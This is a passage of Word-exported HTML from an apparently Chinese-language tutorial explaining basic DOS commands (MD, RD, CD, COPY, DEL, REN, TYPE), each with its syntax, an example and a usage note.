style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">][</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">路径</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">]"</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">，例如</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">"MD TEMP"</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><BR></SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 9pt; COLOR: #ff0066; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">注意：该命令一次只能建立一个目录。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">3</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">）</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">RD</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">--</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">删除目录</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">格式为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"RD [</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">盘符</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">][</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">路径</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">]"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 9pt; COLOR: #ff0066; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">注意：该命令只能删除空目录，并且不能删除当前目录。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">4</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">）</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">CD</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">--</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">进入指定目录</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">格式为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">" CD [</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">路径</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">]"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">，例如</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"CD HAPPY"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 9pt; COLOR: #ff0066; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">注意：只能进入当前盘符中的目录。其中</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; COLOR: #ff0066; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"CD\"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 9pt; COLOR: #ff0066; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">为回到根目录，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; COLOR: #ff0066; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"CD.."</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 9pt; COLOR: #ff0066; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">为回到上一层目录。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">5</SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">）</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">COPY</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">--</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">拷贝文件</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">格式为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">"COPY [</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">源目录或文件</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">] [</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">目的目录或文件</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">]"</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">，比如</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">"COPY C:\*.COM D:\"</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">，我们也可以输入</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">"COPY C:\Command.COM D:\Command.BAK"</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">来进行文件拷贝并改名。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><BR></SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 9pt; COLOR: #ff0066; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">注意：使用该命令进行文件拷贝时，目的目录一定要存在。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">6</SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">）</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">DEL</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">--</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">删除文件</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">格式为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">"DEL [</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">盘符</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">][</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">路径</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">][</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">文件名</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">] [</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">参数</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">]"</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">，比如</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">"DEL C:\DATA\*.BAK"</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">。</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">它有一个参数：</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"/P"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">，可以使用户在删除多个文件时对每个文件都显示删除询问（如图</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">2</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">）。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 16.5pt; TEXT-ALIGN: center; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=center><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><v:shape id=_x0000_i1026 style="WIDTH: 163.5pt; HEIGHT: 39.75pt" alt="" type="#_x0000_t75"><v:imagedata o:href="http://www0.ccidnet.com/school/system/2001/08/10/image/2.jpg" src="file:///C:\DOCUME~1\YINGZH~1\LOCALS~1\Temp\msohtml1\01\clip_image002.jpg"></v:imagedata></v:shape></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><B><I><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">图</SPAN></I></B><B><I><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">2</SPAN></I></B><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 16.5pt; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">7</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">）</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">REN</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">--</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">改名</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR></SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">格式为</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">"REN [</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">原名</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">] [</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">现名</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">]"</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">7.0</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">以后版本的</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">DOS</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">都支持对文件名和目录名的修改，而以前的</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN">DOS</SPAN><SPAN lang=ZH-CN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma">只能修改文件名。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN"><BR><BR></SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">8</SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">）</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: blue; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">TYPE</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt">--</SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma">显示文本文件</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt"><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 新細明體; mso-bidi-font-size: 12.0pt; 